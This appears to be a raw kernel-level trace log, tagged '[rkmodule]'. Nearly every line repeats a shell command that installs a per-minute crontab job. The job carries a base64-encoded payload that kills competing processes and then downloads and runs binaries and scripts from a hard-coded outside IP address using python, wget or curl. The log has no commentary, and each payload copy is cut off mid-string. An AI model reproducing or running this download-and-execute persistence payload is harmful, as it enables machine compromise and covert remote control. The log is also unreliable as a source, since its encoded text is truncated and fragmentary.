\"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x3c9] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [utnb][PID:0x3d0] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x3d1] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [sh][PID:0x3ad] vfs_getattr. path: \"/var/tmp\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x3d3] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x3db] do_execve. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [iicu][PID:0x3dc] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [sh][PID:0x3ad] filp_close. File: \"pipe:[12345]\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [wjow][PPID:0x2d1] [wjow][PID:0x3ea] do_execve. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x3b4] [sh][PID:0x3e7] filp_close. File: \"pipe:[12363]\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x35e] [crontab][PID:0x388] filp_close. File: \"/lib/x86_64-linux-gnu/libnss_compat-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [iicu][PPID:0x2c9] [sh][PID:0x3b7] filp_close. File: \"pipe:[12372]\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [sh][PPID:0x35e] [crontab][PID:0x388] vfs_getattr. path: \"/lib/x86_64-linux-gnu/libnsl-2.19.so\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [sh][PID:0x3e9] do_filp_open. Filename: \"/etc/ld.so.cache\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [keyd][PPID:0x2f1] [keyd][PID:0x3f9] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoIHx8IGN1cmwgaHR0cDovLzE4NS4xMC42OC4xMDAvanAvai5qcGd8c2ggPi9kZXYvbnVsbCAyPiYxOyB[rkmodule] [utnb][PPID:0x2de] [utnb][PID:0x3fc] do_filp_open. Filename: \"/bin/sh\
  • sh -c echo '* * * * * ( while true; do echo -n \"cGtpbGwgLWYgYmFzaCA7IHBraWxsIC1mIHB5dGhvbiA7IHBraWxsIC1mIHdnZXQgOyBwa2lsbCAtZiBjdXJsIDsgaWYgISBwcyAtYXggfCBncmVwIC12IGdyZXAgfCBncmVwICJbIF0iJDt0aGVuIHB5dGhvbiAtYyAnaW1wb3J0IG9zO2ltcG9ydCB1cmxsaWI7aGQ9dXJsbGliLnVybHJldHJpZXZlKCJodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qbSIsIi92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiY2htb2QgNzc3NyAvdmFyL3RtcC9ydmQiKTtvcy5zeXN0ZW0oImNobW9kICt4IC92YXIvdG1wL3J2ZCIpO29zLnN5c3RlbSgiL3Zhci90bXAvcnZkIiknID4vZGV2L251bGwgMj4mMTsgfHwgcHl0aG9uIC1jICdpbXBvcnQgb3M7aW1wb3J0IHVybGxpYjtoZD11cmxsaWIudXJscmV0cmlldmUoImh0dHA6Ly8xODUuMTAuNjguMTAwL2pwL2ptIiwiL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kIDc3NzcgL3RtcC9obHYiKTtvcy5zeXN0ZW0oImNobW9kICt4IC90bXAvaGx2Iik7b3Muc3lzdGVtKCIvdG1wL2hsdiIpJyA+L2Rldi9udWxsIDI+JjE7IHx8IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLj